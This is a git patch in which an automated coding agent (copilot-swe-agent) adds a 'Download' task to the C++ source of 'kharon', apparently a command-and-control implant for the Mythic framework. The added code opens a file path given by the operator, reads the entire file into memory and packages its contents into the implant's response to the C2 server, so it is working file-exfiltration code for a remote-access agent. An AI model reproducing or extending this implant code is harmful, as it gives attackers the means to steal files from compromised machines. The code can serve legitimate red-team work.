From ca4f1475c696ff131a8c81b72144d237e84bc14d Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 16 Sep 2025 15:01:53 +0000 Subject: [PATCH 1/2] Initial plan From 0124ad06be0f2323953dfcc6a608b64a5fe8cb21 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Tue, 16 Sep 2025 15:06:48 +0000 Subject: [PATCH 2/2] Implement download command functionality in C++ agent Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com> --- .../kharon/Agent/Source/Misc/Tasks.cc | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc index 865015e..e7bddb2 100644 --- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc +++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc @@ -142,7 +142,92 @@ auto DECLFN Task::ExecBof( auto DECLFN Task::Download( _In_ JOBS* Job ) -> ERROR_CODE { + PACKAGE* Package = Job->Pkg; + PARSER* Parser = Job->Psr; + + CHAR* FilePath = Self->Psr->Str( Parser, 0 ); + HANDLE FileHandle = INVALID_HANDLE_VALUE; + ULONG FileSize = 0; + ULONG ChunkSize = KH_CHUNK_SIZE; + ULONG BytesRead = 0; + BYTE* FileBuffer = nullptr; + + if ( !FilePath ) { + Self->Pkg->SendMsg( Job->UUID, "Invalid file path", CALLBACK_ERROR ); + return KhGetError; + } + + KhDbg("Download file: %s", FilePath); + + // Open the file for reading + FileHandle = Self->Krnl32.CreateFileA( + FilePath, + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + nullptr + ); + + if ( FileHandle == INVALID_HANDLE_VALUE ) { + Self->Pkg->SendMsg( Job->UUID, "Failed to open file for reading", CALLBACK_ERROR ); + return KhGetError; + } + // Get file size + FileSize = Self->Krnl32.GetFileSize( FileHandle, nullptr ); + if ( FileSize == 0xFFFFFFFF ) { // INVALID_FILE_SIZE + Self->Ntdll.NtClose( FileHandle ); + Self->Pkg->SendMsg( Job->UUID, "Failed to get file size", CALLBACK_ERROR ); + return KhGetError; + } + + KhDbg("File size: %d bytes", FileSize); + + // For this implementation, we'll read the entire file at once + // In a production environment, you might want to implement chunked reading + FileBuffer = (BYTE*)hAlloc( FileSize ); + if ( !FileBuffer ) { + Self->Ntdll.NtClose( FileHandle ); + Self->Pkg->SendMsg( Job->UUID, "Failed to allocate buffer for file", CALLBACK_ERROR ); + return KhGetError; + } + + // Read the file + BOOL ReadResult = Self->Krnl32.ReadFile( + FileHandle, + FileBuffer, + FileSize, + &BytesRead, + nullptr + ); + + Self->Ntdll.NtClose( FileHandle ); + + if ( !ReadResult || BytesRead != FileSize ) { + hFree( FileBuffer ); + Self->Pkg->SendMsg( Job->UUID, "Failed to read file contents", CALLBACK_ERROR ); + return KhGetError; + } + + KhDbg("File read successfully: %d bytes", BytesRead); + + // Build response in the format expected by Python side + // Based on ToC2.py:398-419, expected format: + // current_chunk, file_id, file_path, chunk_size, file_data + + Self->Pkg->Int32( Package, 1 ); // current_chunk (1 for single chunk) + Self->Pkg->Str( Package, FilePath ); // file_id (using file path as ID) + Self->Pkg->Str( Package, FilePath ); // file_path + Self->Pkg->Int32( Package, BytesRead ); // chunk_size (actual bytes read) + Self->Pkg->Bytes( Package, FileBuffer, BytesRead ); // file_data + + hFree( FileBuffer ); + + KhDbg("Download response prepared for file: %s", FilePath); + + return KhRetSuccess; } auto DECLFN Task::Upload(_In_ JOBS* Job) -> ERROR_CODE {